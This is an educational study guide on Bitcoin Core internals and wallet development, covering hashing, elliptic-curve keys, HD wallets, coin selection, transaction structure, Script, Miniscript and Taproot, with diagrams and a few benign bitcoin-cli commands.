Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Introduction

What This Guide Covers ✅

This study guide synthesizes the multi-disciplinary knowledge required to understand Bitcoin core . Rather than focusing purely on theory, it follows the architectural requirements of building a modern Bitcoin wallet. The journey is structured around four progressive technical challenges that mirror the complexities of the protocol.

First, we explore the internal architecture of a node to understand how it exposes data. Second, we dive into key management and the intensive process of scanning the blockchain for historical funds. Third, we master the creation of modern transactions using Taproot and Schnorr signatures. Finally, we address the economic optimization of Bitcoin through advanced coin selection and fee management.

How Bitcoin Fits Together ⚠️

Before diving into lines of code, one must establish a high-level mental model of the Bitcoin ecosystem. Bitcoin is not a single program but a stack of interacting layers. At its base sits the Consensus Layer, defining the immutable rules of the network. Above it, the Transaction and Script Layers define how value is locked and moved. Finally, the User Layer (wallets and interfaces) interacts with these rules to provide utility.

Correction: Modern Bitcoin Core has moved away from a monolithic structure toward a modular component model, explicitly separating validation logic from wallet and mempool management.

graph TB
    subgraph UserLayer["User Layer"]
        W[Wallet Software]
        A[Addresses]
    end
    
    subgraph CryptoLayer["Cryptographic Layer"]
        K[Keys - Private & Public]
        S[Signatures]
        H[Hash Functions]
    end
    
    subgraph TransactionLayer["Transaction Layer"]
        TX[Transactions]
        UTXO[UTXOs]
        SC[Scripts]
    end
    
    subgraph ConsensusLayer["Consensus Layer"]
        B[Blocks]
        V[Validation Rules]
        N[Network Protocol]
    end
    
    subgraph CoreLayer["Bitcoin Core Components"]
        RPC[RPC/REST Interface]
        MEM[CTxMemPool]
        DB[BlockManager + LevelDB]
        SPKM[ScriptPubKeyMan]
    end
    
    W --> K
    K --> S
    S --> TX
    TX --> SC
    SC --> UTXO
    UTXO --> B
    B --> DB
    RPC --> MEM
    MEM --> V
    SPKM --> W
    
    style UserLayer fill:#e1f5fe,color:#000F00
    style CryptoLayer fill:#fff3e0,color:#000F00
    style TransactionLayer fill:#e8f5e9,color:#000F00
    style ConsensusLayer fill:#fce4ec,color:#000F00
    style CoreLayer fill:#f3e5f5,color:#000F00

The UTXO Mental Model ✅

To develop for Bitcoin, one must unlearn the “Account” model used by traditional banks and Ethereum. Bitcoin doesn’t have accounts; it has Unspent Transaction Outputs (UTXOs). Think of a UTXO as a digital coin of a specific value sitting in a transparent lockbox. To spend it, you must prove you have the key that opens that specific box.

Your “balance” is not a number stored in a spreadsheet; it is an abstraction created by your wallet. The wallet scans the entire history of the blockchain, identifies every lockbox (UTXO) that it has the keys for, and sums their values together.

graph LR
    subgraph YourWallet["Your Wallet (Conceptual)"]
        U1["UTXO 1<br/>0.5 BTC<br/>🔒 Locked to Key A"]
        U2["UTXO 2<br/>0.3 BTC<br/>🔒 Locked to Key A"]
        U3["UTXO 3<br/>1.2 BTC<br/>🔒 Locked to Key B"]
    end
    
    subgraph Balance["Calculated Balance"]
        B["Total: 2.0 BTC"]
    end
    
    U1 --> B
    U2 --> B
    U3 --> B

Part I: Bitcoin Core Architecture

Chapter 1: The System Model

Bitcoin Core is the reference implementation of the protocol. For the developer, it serves as the authoritative state machine. It maintains the ledger, validates state transitions (transactions), and propagates data to the peer-to-peer network.

1.1 Separation of Concerns

The architecture strictly separates Consensus (immutable network rules) from Policy (local node hygiene). This ensures that while individual nodes may reject spam (Policy), they all agree on the ledger state (Consensus).

graph TB
    subgraph Network["Connectivity"]
        P2P["P2P Layer"]
        RPC["RPC Interface"]
    end

    subgraph Core["State Machine"]
        VAL["Validation Engine<br/>(Consensus)"]
        MEM["Mempool<br/>(Policy + Consensus)"]
        CHAIN["Chain State<br/>(UTXO Set)"]
    end

    subgraph Storage["Persistence"]
        DB["LevelDB"]
        BLK["Block Files"]
    end

    P2P --> MEM
    RPC --> MEM
    MEM --> VAL
    VAL --> CHAIN
    CHAIN --> DB

1.2 The RPC Contract

The JSON-RPC interface is the developer’s bridge to the node. Unlike modern REST APIs, it is synchronous and strictly typed. It acts as a trusted interface, allowing the wallet software to query state and broadcast signed transactions.

  • Synchronous: The node processes requests sequentially per worker thread.
  • Method-Based: Interactions are defined by commands (e.g., getblocktemplate, sendrawtransaction).
sequenceDiagram
    participant Client as Wallet/Dev
    participant Server as Node (RPC)
    participant Engine as Consensus Engine

    Client->>Server: POST {"method": "gettxout"}
    Server->>Engine: Acquire cs_main lock
    Engine->>Engine: Lookup UTXO
    Engine-->>Server: Return Coin Data
    Server-->>Client: Result JSON

Chapter 2: Operational Environment

2.1 Signet: Deterministic Development

To develop robust solutions, we require a stable environment. Mainnet is expensive; Testnet is chaotic. Signet (BIP 325) offers a centralized consensus mechanism on top of the Bitcoin codebase, mimicking Mainnet’s topology but with predictable block generation.

  • Stability: No block storms or deep reorgs.
  • Access: Free coins for testing complex flows.
  • Validation: Identical script validation rules to Mainnet.

Interacting with Signet

Developers typically interact with a Signet node using the bitcoin-cli tool.

  • Check Status: bitcoin-cli -signet getblockchaininfo
  • Get Block Count: bitcoin-cli -signet getblockcount
  • Network Parameters: Signet uses a different address prefix (tb1...) and magic bytes to prevent cross-network pollution.

2.2 Data Propagation Flow

Data moves through the node in two phases: Relay (unconfirmed) and Mining (confirmed).

graph LR
    subgraph Phase1["Relay"]
        TX[Tx] -->|Policy Check| MP[Mempool]
    end

    subgraph Phase2["Confirmation"]
        MP -->|Fee Algo| BLOCK[Block Candidate]
        BLOCK -->|PoW| CHAIN[Active Chain]
    end
    
    style Phase1 fill:#f9f9f9,stroke:#333
    style Phase2 fill:#e1f5fe,stroke:#333

References

  • Bitcoin Core Architecture Overview
  • BIP 325: Signet
  • Bitcoin RPC API Reference

Part II: Cryptographic Foundations

Chapter 3: Hash Functions in Bitcoin

3.1 The Role of Hashing

At its core, Bitcoin is a giant chain of hash commitments. Hash functions allow us to take huge amounts of data (like a 2MB block) and represent it as a tiny, unique 32-byte string. This fingerprint is deterministic (always the same for the same data) and one-way (you can’t reconstruct the block from the hash).

These properties are what make the blockchain immutable: if you change a single bit in a transaction, its hash changes, which changes the block’s hash, which breaks the connection to every subsequent block in the chain.

The primary workhorse of Bitcoin is SHA-256 (Secure Hash Algorithm, 256-bit). It is used for Proof-of-Work, Merkle Trees, and transaction identifiers.

graph LR
    subgraph Input["Any Input"]
        I1["'Hello'"]
        I2["Entire block data"]
        I3["Transaction bytes"]
    end
    
    subgraph SHA256["SHA256 Function"]
        F["One-way transformation"]
    end
    
    subgraph Output["Fixed 32-byte Output"]
        O["256-bit hash"]
    end
    
    I1 --> F
    I2 --> F
    I3 --> F
    F --> O

3.2 The Hashing Zoology: SHA256, HASH160, and Tagged Hashes

Bitcoin uses specific variations of hashing for different security goals and constraints.

Double SHA-256 (hash256)

Almost all “IDs” in Bitcoin (TXIDs, Block Hashes) are calculated using a double round of SHA-256: SHA256(SHA256(data)). Satoshi originally designed this to mitigate “Length Extension Attacks,” a vulnerability present in the SHA-2 family. While modern analysis suggests it might be overkill for certain uses, it remains the standard for object identification.

HASH160 (ripemd160(sha256(data)))

Public Keys are rarely stored directly on-chain in legacy outputs. Instead, we store their hash to save space (20 bytes vs 33 bytes) and add a layer of quantum resistance (if ECDSA is broken, your key is safe until you spend). HASH160 combines SHA-256 with RIPEMD-160.

  • Legacy Addresses (P2PKH): start with 1... and encode a 20-byte HASH160.
  • Nested SegWit (P2SH): start with 3... and encode a 20-byte HASH160 of a script.

Tagged Hashing (BIP 340)

Modern upgrades like Taproot use Tagged Hashing, which prepends a domain-specific tag to the data. This prevents “collision” attacks where a valid signature in one context (e.g., a transaction) might be accidentally valid in another (e.g., a customized Merkle branch). Formula: SHA256(SHA256(tag) || SHA256(tag) || data)

graph TD
    subgraph DoubleSHA["Double SHA256 (Legacy IDs)"]
        D1[Input] --> D2["SHA256"]
        D2 --> D3["SHA256 again"]
        D3 --> D4["32-byte hash"]
    end
    
    subgraph Hash160["HASH160 (Addresses)"]
        H1[Input] --> H2["SHA256"]
        H2 --> H3["RIPEMD-160"]
        H3 --> H4["20-byte hash"]
    end
    
    subgraph Tagged["Tagged Hash (Taproot/BIP340)"]
        T1["tag + input"] --> T2["SHA256(SHA256(tag) || SHA256(tag) || data)"]
        T2 --> T3["32-byte hash"]
    end

Chapter 4: Elliptic Curve Cryptography

4.1 The secp256k1 Curve

Bitcoin does not use standard RSA encryption. It uses Elliptic Curve Cryptography (ECC) over a specific finite field defined by the curve secp256k1. The equation is simple: $y^2 = x^3 + 7$ over a finite field of prime order $p$.

The security relies on the Discrete Logarithm Problem:

  • Addition: Given a point $G$, calculating $G + G = 2G$ is easy.
  • Scalar Multiplication: Calculating $k * G$ (adding $G$ to itself $k$ times) is efficient.
  • Division: Given $P = k * G$, finding the scalar $k$ is computationally infeasible.

4.2 Keys: Analysis of Ownership

In Bitcoin, “ownership” is knowledge.

  • Private Key ($k$): A 256-bit random integer. It must be selected from a specific range (slightly less than $2^{256}$). This is the user’s secret.
  • Public Key ($P$): The coordinate on the curve resulting from $P = k * G$. Since the generator point $G$ is a constant known to everyone, the Public Key is strictly derived from the Private Key.
graph LR
    subgraph Private["Private Key (scalar k)"]
        PK["256-bit integer"]
    end
    
    subgraph Public["Public Key (Point P)"]
        PUB["(x, y) coordinates on curve"]
    end
    
    subgraph Operation["Scalar Multiplication"]
        OP["P = k * G"]
    end
    
    PK --> OP
    OP --> PUB
    PUB -.->|"Impossible (Discrete Log Problem)"| PK

4.3 Key Serialization Formats

How we store these mathematical points matters for blockchain efficiency.

Uncompressed Keys (Legacy)

Originally, keys were stored as the full $(x, y)$ coordinate pair, prefixed with 0x04. This took 65 bytes.

Compressed Keys (Standard)

Since $y^2 = x^3 + 7$, if we know $x$, we can calculate $y$ (there are only two possible solutions: positive/negative, or technically even/odd). Compressed keys store only the $x$ coordinate and a distinct prefix (0x02 if $y$ is even, 0x03 if odd). This reduces size to 33 bytes.

X-Only Keys (Taproot)

With BIP 340 (Schnorr), we implicitly assume the $y$ coordinate is even. If the math results in an odd $y$, we negate the key. This allows us to drop the prefix entirely, storing only the $x$ coordinate. Size: 32 bytes.

graph TD
    subgraph PrivateKey["Private Key (32 bytes)"]
        SK["256-bit secret scalar"]
    end
    
    subgraph PublicKeyFormats["Public Key Formats"]
        FULL["Uncompressed (65 bytes)<br/>04 + x-coord + y-coord"]
        COMP["Compressed (33 bytes)<br/>02/03 + x-coord"]
        XONLY["X-only (32 bytes)<br/>Just x-coord"]
    end
    
    SK --> FULL
    SK --> COMP
    SK --> XONLY
    
    FULL -.->|"Legacy"| L1["P2PKH addresses"]
    COMP -.->|"Standard"| L2["P2WPKH, P2SH"]
    XONLY -.->|"Taproot"| L3["P2TR addresses"]

Part III: Key Management & Wallets

Chapter 5: HD Wallets & Standards (BIP32/39/44)

5.1 From Randomness to Determinism

In the early days of Bitcoin (the “Just a Bunch of Keys” or JBOK era), every new address required a new random private key. This was a nightmare for backups: if you generated 100 new addresses after your last backup, those funds were at risk.

Hierarchical Deterministic (HD) Wallets (BIP 32) solved this by creating a tree structure. A single Master Seed can mathematically derive an infinite tree of child keys.

  1. Backup once: Write down the seed.
  2. Use forever: Every future key is deterministically calculable from that seed.

5.2 Mnemonic Codes (BIP 39)

Humans are bad at remembering 256-bit binary numbers. BIP 39 standardized the conversion of entropy into a user-friendly list of words.

  • Entropy: You start with 128-256 bits of randomness.
  • Checksum: A hash is appended to detect typos.
  • Mnemonic: The bits are sliced into 11-bit chunks, each mapping to a word list (2048 words).
  • Seed: The mnemonic + an optional “passphrase” is hashed (PBKDF2) to produce the 512-bit Root Seed.
graph TD
    subgraph Creation["Wallet Creation"]
        ENT["Random Entropy (128-256 bits)"]
        CS["Checksum"]
        WORDS["Mnemonic Words (12-24 words)"]
        PASS["User Passphrase (Optional)"]
        SEED["512-bit Binary Seed"]
    end
    
    ENT --> CS
    ENT --> WORDS
    CS --> WORDS
    WORDS --> SEED
    PASS --> SEED
    SEED --> ROOT["Master Node (m)"]

5.3 BIP 32: The Derivation Engine

BIP 32 defines how to move from a parent key to a child key. It introduces the Extended Key (xprv / xpub), which consists of:

  1. Key: The 33-byte compressed public or private key.
  2. Chain Code: A 32-byte “blinding factor” or extra entropy.

Normal vs. Hardened Derivation

  • Normal Derivation (Index 0 to $2^{31}-1$): Can derive Child Public Key from Parent Public Key.
    • Pro: Allows “Watch-Only” wallets (web servers can generate deposit addresses without spending keys).
    • Con: If a child private key leaks AND the parent chain code is known, the parent private key can be calculated.
  • Hardened Derivation (Index $2^{31}$ to $2^{32}-1$): Requires Parent Private Key.
    • Pro: Firewall. Child key leakage typically cannot compromise the parent.
    • Con: Cannot derive public keys hierarchy from an xpub alone.
graph TD
    subgraph HMAC["HMAC-SHA512 Function"]
        H["Key: Parent Chain Code<br/>Data: Parent Key || Index"]
    end
    
    subgraph Output["Split Output"]
        L["Left 32B (Key Modifier)"]
        R["Right 32B (Child Chain Code)"]
    end
    
    H --> L
    H --> R
    L --> CHILD["Child Key"]
    R --> CHILD

5.4 Standard Derivation Paths

To ensure different wallets are compatible, we adhere to path standards (BIP 43/44). Path structure: m / purpose' / coin_type' / account' / change / address_index

  • Purpose: The version of Bitcoin script (e.g., 44’ for Legacy, 84’ for SegWit, 86’ for Taproot).
  • Coin Type: 0’ for Bitcoin, 1’ for Testnet.
  • Account: Logical separation of funds.
  • Change: 0 for external (receiving), 1 for internal (change addresses).

5.5 Deep Dive: BIP 32 Serialization & Derivation

Source: BIP 32 - Hierarchical Deterministic Wallets

To implement a functional HD wallet, one must handle the raw byte structure of Extended Keys and the HMAC-based derivation logic.

Extended Key Serialization

An Extended Key (xprv or xpub) is a 78-byte structure:

  • Version (4 bytes): Magic bytes (e.g., 0x0488ADE4 for xprv).
  • Depth (1 byte): Distance from master (0x00 for root).
  • Parent Fingerprint (4 bytes): First 32 bits of Identifier(Kpar).
  • Child Number (4 bytes): Index i (Big-endian).
  • Chain Code (32 bytes): Extra entropy for derivation.
  • Key Data (33 bytes):
    • Private: 0x00 || 32-byte key.
    • Public: Compressed public key.

The CKDpriv Algorithm

The Child Key Derivation function for private keys is calculated as follows:

  1. Compute HMAC-SHA512:
    • Key: Parent Chain Code.
    • Data:
      • Hardened (i >= 2^31): 0x00 || kpar || i.
      • Normal: point(kpar) || i.
  2. Split Output: 64-byte result is split into I_L (left 32B) and I_R (right 32B).
  3. Key Update: child_k = (I_L + kpar) % n.
  4. Chain Code Update: child_c = I_R.

Chapter 6: The Modern Core Wallet

6.1 Architecture: From bitcoind to CWallet

In Bitcoin Core, the wallet is modular. The central object CWallet manages the database (BerkeleyDB or SQLite) and orchestrates sub-components.

ScriptPubKeyManagers (SPKMs)

A single wallet can manage mixed script types. It does this via SPKMs. Each SPKM is responsible for a specific derivation path and script type.

  • A user upgrading to Taproot doesn’t need a new wallet file; the wallet simply adds a new BECH32M SPKM to the existing container.
graph TD
    subgraph CWallet["CWallet Instance"]
        W["Wallet Coordinator"]
    end
    
    subgraph SPKMs["Active SPKMs"]
        E1["Legacy (BIP44)"]
        E2["Native SegWit (BIP84)"]
        E3["Taproot (BIP86)"]
    end
    
    W --> E1
    W --> E2
    W --> E3

6.2 Output Descriptors

Legacy wallets were a “bag of keys.” Modern Bitcoin Core wallets are Descriptor Wallets. A descriptor is a human-readable string that unambiguously describes the script creation and key derivation.

Example Taproot Descriptor: tr([d34db33f/86'/0'/0']xpub.../0/*)#checksum

This tells the wallet:

  1. tr(...): We are using Taproot outputs (P2TR).
  2. [...]: The source key fingerprint and derivation path (for hardware wallet verification).
  3. /0/*: We are generating receiving addresses (index 0) sequentially (*).

6.3 Transaction Building & Coin Control

The wallet is not just a key storage; it is a transaction factory.

  1. Coin Control: The user (or algorithm) selects specific UTXOs to spend.
  2. Fee Estimation: The wallet queries the node’s mempool to calculate the sat/vbyte needed for confirmation.
  3. Change Handling: If inputs > target amount, the wallet generates a change address (via the Internal chain of the correct SPKM) to receive the remainder.

For a deep dive into the algorithms behind UTXO selection (Branch & Bound, Waste Metric, etc.), see Chapter 7: Advanced Coin Selection.

graph LR
    subgraph Inputs
        UTXO1["UTXO A (0.5 BTC)"]
        UTXO2["UTXO B (0.2 BTC)"]
    end
    
    subgraph Logic
        SEL["Coin Selection"]
        SIGN["Sign (Schnorr/ECDSA)"]
    end
    
    subgraph Outputs
        DEST["Destination (0.6 BTC)"]
        CHANGE["Change (0.099.. BTC)"]
        FEE["Fee"]
    end
    
    UTXO1 --> SEL
    UTXO2 --> SEL
    SEL --> SIGN
    SIGN --> DEST
    SIGN --> CHANGE
    SIGN --> FEE

Part III: Key Management & Wallets

Chapter 7: Advanced Coin Selection

Coin Selection is often misunderstood as simply “finding enough money to pay.” In reality, it is a complex multi-objective optimization problem that wallet software must solve every time a user sends a transaction.

The wallet must balance three often contradictory goals:

  1. Minimizing Fees: Paying the lowest possible transaction fee now.
  2. Maximizing Privacy: Avoiding patterns that reveal the user’s total wealth or link unrelated payments.
  3. UTXO Set Health: Managing the wallet’s future costs (e.g., avoiding “dust” accumulation or consolidating small outputs when fees are cheap).

This chapter details the modern “Hybrid” approach used by Bitcoin Core and advanced wallets.

7.1 The Cost of Money: Effective Value

The nominal value of a UTXO (e.g., 1000 sats) is not its spendable value. Every UTXO imposes a weight cost to be included in a transaction.

$$ \text{Effective Value} = \text{Amount} - (\text{Input Weight} \times \text{Current Fee Rate}) $$

If the cost to spend a UTXO exceeds its amount, it is considered Uneconomical or “Dust” at that fee rate. Smart wallets should avoid selecting these “toxic” coins during high-fee periods.

Input TypeWeight (WU)vBytes (approx)Cost @ 10 sat/vBCost @ 100 sat/vB
Legacy (P2PKH)~592~1481,480 sats14,800 sats
SegWit (P2WPKH)~272~68680 sats6,800 sats
Taproot (P2TR)~230~57.5575 sats5,750 sats

Note: SegWit upgrades significantly increased the Effective Value of small UTXOs.

7.2 The Gold Standard: The Waste Metric

How do we decide which combination of inputs is “best”? Bitcoin Core uses a metric called Waste. The algorithm compares different input sets and selects the one with the lowest Waste score.

$$ \text{Waste} = \text{Timing Waste} + \text{Change Cost} $$

A. Timing Waste (The Opportunity Cost)

This component asks: “Is it cheaper to spend these inputs now, or should I wait?”

  • High Fees Now: Spending heavy inputs (Legacy) generates positive waste (bad).
  • Low Fees Now: Spending heavy inputs generates negative waste (good/savings), effectively acting as Consolidation.

$$ \text{Timing Waste} = \text{Input Weight} \times (\text{Current Fee Rate} - \text{Long Term Fee Rate}) $$

B. Change Cost (The Creation Cost)

Creating a “Change Output” (returning the difference to yourself) is expensive:

  1. Immediate Cost: You pay fees for the bytes of the change output itself.
  2. Future Cost: You create a new UTXO that you will have to pay to spend later.
  3. Privacy Cost: Change outputs often link transactions and reveal the payment amount.

Change Avoidance is a primary goal of modern algorithms. If we can find inputs that sum exactly to the target (or close enough that the excess is less than the cost of creating change), we drop the change output entirely.

7.3 Selection Strategies (The Hybrid Approach)

A robust wallet doesn’t rely on a single algorithm. It runs a competition between several strategies and picks the winner based on the Waste Metric.

1. Branch and Bound (BnB)

  • Goal: Change Avoidance (Match Target Exactly).
  • Mechanism: A depth-first search exploring combinations of UTXOs to find a set where: $$ \text{Target} \le \text{Total} \le \text{Target} + \text{Change Cost} + \text{Dust Threshold} $$
  • Result: If successful, this transaction has No Change Output. Maximum privacy and efficiency.

2. CoinGrinder (Weight Minimization)

  • Goal: Minimize transaction size (vBytes).
  • Use Case: High-fee environments.
  • Mechanism: It specifically looks for smaller, lighter inputs (like SegWit/Taproot) to reach the target amount with the smallest footprint.

3. Single Random Draw (SRD)

  • Goal: Privacy via randomness.
  • Mechanism: Randomly selects UTXOs until the target is met.
  • Role: The “fallback” strategy. If BnB fails (cannot find an exact match) and other strategies are too expensive, SRD ensures the transaction can still proceed, albeit with a change output. It also breaks deterministic patterns that chain analysis firms look for.

7.4 Strategic Behavior

The wallet changes its behavior based on the fee environment:

graph TD
    Start[User initiates Transaction] --> CheckFees{Compare Fees}
    
    CheckFees -- "Current < Long Term" --> Consolidate[Strategy: CONSOLIDATION]
    Consolidate --> C_Action[Select MANY small/heavy inputs]
    C_Action --> C_Why[Clean up UTXO set while cheap]
    
    CheckFees -- "Current > Long Term" --> Efficiency[Strategy: EFFICIENCY]
    Efficiency --> E_Action[Select FEW high-value inputs]
    E_Action --> E_Why[Minimize bytes paid for now]
    
    C_Why --> BnB[Try Branch & Bound]
    E_Why --> BnB
    
    BnB -- "Success (No Change)" --> BuildTx
    BnB -- "Fail" --> Fallback[Try SRD / Knapsack]
    Fallback --> BuildTx[Finalize Transaction]

7.5 Glossary

TermDefinition
vByte (Virtual Byte)The billable unit of transaction size. In SegWit, 1 vByte = 4 Weight Units (WU).
Dust ThresholdThe minimum value an output must have to be propagated by the network. Amounts below this (e.g., 546 sats) are considered “spam”.
Long Term Fee RateAn estimate (e.g., 1000-block rolling average or 24h floor) of the “normal” fee. Used to detect if fees are currently high or low.
Knapsack ProblemThe combinatorial optimization problem that BnB attempts to solve: packing the “knapsack” (transaction) with items (UTXOs) to reach a specific value.

7.6 References & Further Reading

To deepen your understanding, refer to these canonical resources:

  1. Murch’s Master Thesis (The “Bible” of Coin Selection)

    • Written by the author of Bitcoin Core’s current algorithm. It explains BnB and the Waste Metric in detail.
    • Read PDF

  2. Bitcoin Optech: Coin Selection

  3. BIP 141 (SegWit)

    • Essential for understanding the weight calculation: Weight = Base + 3 * Witness.
    • Read BIP 141

  4. CoinGrinder Implementation

Part IV: Transactions Deep Dive

Chapter 7: The Data Structure of Value

7.1 Anatomy of CTransaction

A Bitcoin transaction is a state transition. It consumes specific Unspent Transaction Outputs (UTXOs) and creates new ones. The C++ structure CTransaction (and its mutable counterpart CMutableTransaction) serializes the following fields:

  1. Version (nVersion): 4 bytes. Currently 1 or 2 (BIP 68). Older versions indicate legacy rules; mostly used now to signal RBF eligibility.
  2. Inputs (vin): A vector of CTxIn. Each input points to a previous output and provides the “key” to unlock it.
  3. Outputs (vout): A vector of CTxOut. Each output defines the amount and the “lock” for the next owner.
  4. LockTime (nLockTime): 4 bytes. If non-zero, the transaction is invalid until this block height or timestamp.
  5. Witness Data: (SegWit) The signatures and scripts, stored apart from the transaction ID calculation.
classDiagram
    class CTransaction {
        +int32_t nVersion
        +vector~CTxIn~ vin
        +vector~CTxOut~ vout
        +uint32_t nLockTime
    }
    class CTxIn {
        +COutPoint prevout
        +CScript scriptSig
        +uint32_t nSequence
        +CScriptWitness scriptWitness
    }
    class CTxOut {
        +CAmount nValue
        +CScript scriptPubKey
    }
    CTransaction "1" *-- "many" CTxIn
    CTransaction "1" *-- "many" CTxOut

7.2 The SegWit Upgrade (BIP 141)

Before SegWit, signatures (scriptSig) were part of the data hashed to create the Transaction ID (TXID). This allowed for Transaction Malleability: a third party could re-encode a signature (e.g., adding a dummy operation) without invalidating it. The signature would verify, but the TXID would change.

  • Result: The sender wouldn’t know if the payment succeeded, and second-layer protocols (Lightning) were impossible to build safely.

The Solution: SegWit moved witness data to a separate structure.

  • TXID: SHA256(SHA256(legacy_data)) (Immutable identity)
  • wTXID: SHA256(SHA256(legacy_data + witness)) (Network integrity)

Chapter 8: The Script Interpreter

8.1 Stack-Based Execution

Bitcoin Script is a Forth-like, stack-based language. It is Turing-incomplete (no loops), ensuring every script terminates deterministically. Language Mechanics:

  • Data Pushed: Constants (signatures, pubkeys) are pushed onto a stack.
  • Operations (OP_CODE): Functions pop items, calculate, and push results back.

8.2 Standard Script Templates

While the language allows infinite creativity, nodes only relay “Standard” scripts (IsStandard).

  1. P2PKH (Pay to PubKey Hash): OP_DUP OP_HASH160 <PubHash> OP_EQUALVERIFY OP_CHECKSIG
  2. P2SH (Pay to Script Hash): OP_HASH160 <ScriptHash> OP_EQUAL (The actual script is provided in the input, not the output).
  3. P2WPKH (Native SegWit): 0 <20-byte-hash> (A “version 0” witness program).

8.3 Execution Example: P2PKH

Let’s trace how a standard P2PKH transaction is validated.

The Output (Lock): OP_DUP OP_HASH160 <Hash> OP_EQUALVERIFY OP_CHECKSIG

The Input (Key): <Signature> <PubKey>

Execution:

  1. Stack Init: <Sig> <PubKey>
  2. OP_DUP: Duplicates top item. Stack: <Sig> <PubKey> <PubKey>
  3. OP_HASH160: Hashes top item. Stack: <Sig> <PubKey> <PubHash_Calculated>
  4. Push <Hash>: The lock’s hash. Stack: <Sig> <PubKey> <PubHash_Calculated> <PubHash_Lock>
  5. OP_EQUALVERIFY: Checks equality. If proper, Stack: <Sig> <PubKey>
  6. OP_CHECKSIG: Verifies signature against PubKey. Result: TRUE
sequenceDiagram
    participant S as Stack
    participant E as Execution Engine
    
    E->>S: Push <Sig> <PubKey>
    E->>S: OP_DUP (Stack: Sig, Pub, Pub)
    E->>S: OP_HASH160 (Stack: Sig, Pub, Hash')
    E->>S: Push <Hash> from Lock
    E->>S: OP_EQUALVERIFY (Checks Hash' == Hash)
    E->>S: OP_CHECKSIG (Verifies Sig is valid for Pub)
    S-->>E: Result TRUE (Valid Spend)

Part V: Scripting & Contracts

“A contract is a predicate. It takes inputs and outputs either true or false.” — John Newbery

Chapter 9: The Philosophy of Verification

9.1 Verification vs. Computation

In the broader blockchain ecosystem, there is often a debate between “World Computer” models (like Ethereum) and “Digital Gold” models (like Bitcoin). This distinction is deeply rooted in the design of the scripting language.

Post’s Theorem & The Validation Gap As explained by John Newbery, we can view this through the lens of mathematical logic (Post’s Theorem):

  • $\Sigma_1$ (Sigma-1): Unbounded search or “Computation.” This equates to finding a solution (e.g., “Find a number $x$ such that $x^2 = y$”). This is expensive and potentially infinite.
  • $\Delta_0$ (Delta-0): Bounded verification. This equates to checking a solution (e.g., “Check if $5^2 = 25$”). This is cheap, constant-time, and deterministic.

Bitcoin Script is $\Delta_0$. It does not run complex calculations. It does not “loop” until it finds an answer. It simply checks the Witness provided by the spender.

  • The Spender (Wallet): Performs the computationally expensive task (creating the transaction, deriving paths, creating signatures).
  • The Verifier (Node): Performs the cheap task (executing the Script).

This asymmetry is intended. It ensures that a Raspberry Pi can verify the work of a supercomputer, preserving the decentralization of the network.

9.2 Predicates, Not Programs

Bitcoin Script is often misunderstood as a “limited programming language.” It is more accurate to call it a Predicate. A predicate is a logical statement that evaluates to strictly TRUE or FALSE.

  • Code: OP_DUP OP_HASH160 <Hash> OP_EQUALVERIFY OP_CHECKSIG
  • Meaning: “Does the provided public key hash to $X$, and does the signature match that key?”

If the predicate returns TRUE, the funds move. If FALSE (or if the script fails), the state transition is rejected.

Chapter 10: The Evolution of Contracts

The “Dynamics of Core Development” can be traced through the evolution of how we lock funds. The goal has always been to move complexity off-chain and increase fungibility.

10.1 P2PK (Pay-to-PubKey)

  • Mechanism: The output script contains the raw Public Key. pubKey OP_CHECKSIG.
  • Dynamics:
    • Pros: Simple, efficient CPU verification.
    • Cons: Public Keys (65 bytes uncompressed) are large and permanently stored in the UTXO set. Privacy is poor; the crypto-system is revealed immediately.

10.2 P2PKH (Pay-to-PubKey-Hash)

  • Mechanism: The output contains a Hash. The Key is revealed only when spending.
  • Dynamics: Satoshi introduced this to shorten addresses and add a layer of quantum resistance (if ECDSA is broken, unspent keys remain hidden behind SHA256).

10.3 P2SH (Pay-to-Script-Hash)

The revolution of 2012 (BIP 16).

  • Problem: If Bob wanted a complex “2-of-3 Multisig,” he had to give Alice a huge, ugly script to put in the transaction output. Alice paid the fees for Bob’s security.
  • Solution: Alice sends to a concise Hash. Bob reveals requirements only when he spends.
  • Dynamics:
    • Privacy: The sender doesn’t know the spending conditions.
    • Cost: The storage cost moves from the UTXO (everyone pays) to the Input (spender pays). This aligns incentives.

Chapter 11: Miniscript & Policy

11.1 The Problem with “Raw Script”

Bitcoin Script is effectively assembly language. It is unstructured and notoriously difficult to reason about safely.

  • Example: OP_CHECKMULTISIG has a famous off-by-one bug where it pops one too many items from the stack.
  • Composability: Combining a “Time Lock” and a “Multisig” manually often leads to unspendable coins or security holes.

11.2 Miniscript: Structured Scripting

Miniscript is a modern language that describes spending conditions in a structured, analyzable tree.

  • descriptor = "wsh(and_v(v:pk(A),after(100)))"
    • Meaning: “Pay to Witness Script Hash: Require signature from A AND block height > 100”.

Benefits:

  1. Analysis: Tools can mathematically prove a script is valid and spendable.
  2. Fee Estimation: The wallet can calculate the exact maximum size of the witness before constructing the transaction.
  3. Interoperability: A policy written in Miniscript works across different hardware wallets and software stacks.

11.3 Policy vs. Consensus

Why don’t we just add every cool feature to Script?

  • Consensus Rules: Hard limits (e.g., Max Script Size 10,000 bytes). Violating these makes a block invalid.
  • Policy (Standardness): Soft limits applied by nodes to unconfirmed transactions.
    • IsStandard(): Core nodes will reject “weird” scripts (e.g., using NOP opcodes) from the mempool to prevent DOS attacks.
    • Dynamics: New features (like CLTV or Taproot) often start as “Non-Standard.” A Soft Fork elevates them to Standard, allowing the network to upgrade safely without splitting the chain.

Part VI: Taproot & Modern Bitcoin

Chapter 9: The Taproot Architecture (BIP 340, 341, 342)

9.1 The Problem

Before Taproot, complex scripts (like a Multisig combined with a Time-Lock) had to reveal all their conditions on-chain. This had two costs:

  1. Privacy: An observer could see you were using a complex setup.
  2. Efficiency: You paid fees for bytes (unused script branches) that were never executed.

Taproot unifies all outputs to look like a single public key. Whether it’s a simple payment to Alice or a 100-person multisig with a time-lock backup, on-chain it looks like a standard P2TR output.

9.2 Schnorr Signatures (BIP 340)

Taproot introduces a new signature scheme. Unlike ECDSA, Schnorr signatures are linear.

  • Property: $Sig(Key_A) + Sig(Key_B) = Sig(Key_A + Key_B)$
  • Implication (Key Aggregation): Multiple parties can combine their public keys into one aggregate key and sign jointly. The blockchain sees only one public key and one signature.

9.3 Merkle Abstract Syntax Trees (MAST)

Taproot allows us to commit to a tree of scripts without revealing the entire tree.

  • Leaf: A specific spending condition (e.g., “Alice can spend after Tuesday”).
  • Root: The Merkle Root of all leaves.

